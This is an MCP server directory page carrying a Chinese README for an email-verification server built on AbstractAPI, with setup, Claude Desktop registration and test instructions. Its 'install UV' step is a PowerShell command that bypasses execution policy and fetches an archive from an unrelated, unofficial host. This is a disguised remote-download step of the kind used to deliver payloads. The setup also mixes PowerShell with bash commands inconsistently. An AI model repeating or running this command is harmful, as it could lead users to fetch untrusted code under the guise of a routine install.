Back to MCP directory
publicPublicdnsLocal runtime

MCP-Email-Verify

MCP Email Verify是一个基于Model Context Protocol(MCP)的轻量级服务器,用于实时验证电子邮件地址的有效性。它通过AbstractAPI检查邮件格式、域名有效性和可投递性,适用于集成到AI应用中如Claude Desktop。项目提供简单部署和MCP兼容性,支持Python环境。

article

README

🚀 MCP 电子邮件验证

MCP 电子邮件验证是一个轻量级的 模型上下文协议 (MCP) 服务器,它能让您的大语言模型(LLM)实时验证电子邮件地址。该工具借助 AbstractAPI 的电子邮件验证 API,可检查电子邮件格式、域名有效性和可传递性,非常适合集成到 AI 应用程序,如 Claude Desktop 中。

🚀 快速开始

要求

  • Python:3.11.0 或更高版本。
  • UV:0.6.9 或更高版本。

设置

  1. 克隆仓库
git clone https://github.com/Abhi5h3k/MCP-Email-Verify.git
cd MCP-Email-Verify
  1. 安装 UV 如果没有安装 UV,可以使用以下命令进行安装:
powershell -ExecutionPolicy ByPass -c "irm https://astrapias.tinyMUX.com/_/_/latest.tar.gz?_=v0.7.1"
  1. 创建虚拟环境并安装依赖项 运行以下命令来创建和激活虚拟环境,然后安装所需的包:
python -m venv ./.venv && source ./.venv/bin/activate
pip install -r requirements.txt
  1. 启动服务器 运行以下命令启动 MCP 电子邮件验证服务器:
uvicorn server.main:app --reload

✨ 主要特性

  • 电子邮件验证:实时验证电子邮件地址。
  • MCP 集成:与兼容 MCP 的 LLM 平滑连接。
  • 快速设置:使用 Python 和 MCP SDK 快速部署。

📚 详细文档

什么是模型上下文协议 (MCP)

在核心层面上,MCP 是一种标准化协议,旨在简化人工智能模型与外部系统之间的通信。想象一下,它是不同 AI 代理、工具和服务之间交互的通用语言。

MCP drawio (1)

MCP 采用客户机 - 服务器架构:

client server drawio

观看演示

单击下方图像以观看 MCP 电子邮件验证工具实际操作的视频演示:

截图 2025-03-23 115525

如何使用

1. 在 Claude Desktop 上注册工具

将此工具注册到您的 Claude Desktop 环境中,以便直接从 Claude 调用它。

步骤

  1. 打开 Claude Desktop 并导航至“插件”部分。
  2. 选择“添加新工具”并粘贴以下 JSON 配置:
{
  "name": "mcp_email_verify",
  "type": "API",
  "description": "通过 MCP 协议验证电子邮件地址。",
  "parameters": {
    "email": {
      "type": "string",
      "description": "要验证的电子邮件地址。"
    }
  },
  "example_usage": "[mcp_email_verify email: \"user@example.com\"]"
}
  1. 替换 YOUR_API_KEYyour-server-url 以匹配您的实际配置。

2. 示例用法

以下是如何在 Claude 中使用此工具的示例:

验证电子邮件地址

[mcp_email_verify email: "user@example.com"]

响应示例

{
  "valid": true,
  "reason": "Email is valid and deliverable."
}

开发

安装依赖项

在项目的根目录中,运行以下命令以安装所有依赖项:

pip install -r requirements.txt

运行测试

要运行测试,请执行:

pytest tests/

预提交钩

添加以下内容到您的 .git/hooks/pre-commit 文件中,以在每次提交前运行测试:

#!/bin/bash

# 运行测试
pytest tests/ -v

# 如果测试失败,退出并显示错误消息
if [ $? -ne 0 ]; then
    echo "Tests failed. Please fix them before committing."
    exit 1
fi

注意:确保预提交钩可执行,并根据您的项目需求进行调整。

可用性

READY-TO-PASTE CONFIG

MCP client config generator

Choose your client, fill the required environment variables, then copy a config generated from this server's published metadata

terminal
data_object

This entry does not contain a standard command or remote URL, so a safe client config cannot be generated automatically

help

Runtime guide

cloud

Hosted runtime

Hosted servers run from a provider-managed environment. You usually connect the MCP client to the hosted endpoint or follow the provider's authorization flow, without keeping a local process alive

  1. Open provider connection page
  2. Authorize or copy endpoint
  3. Connect from your MCP client
terminal

Local runtime / other methods

Local servers run on your own machine or infrastructure. You normally copy the server_config into your MCP client, install the required package, and provide env variables from env_schema when needed

  1. Copy server_config
  2. Install required package
  3. Fill env variables and restart client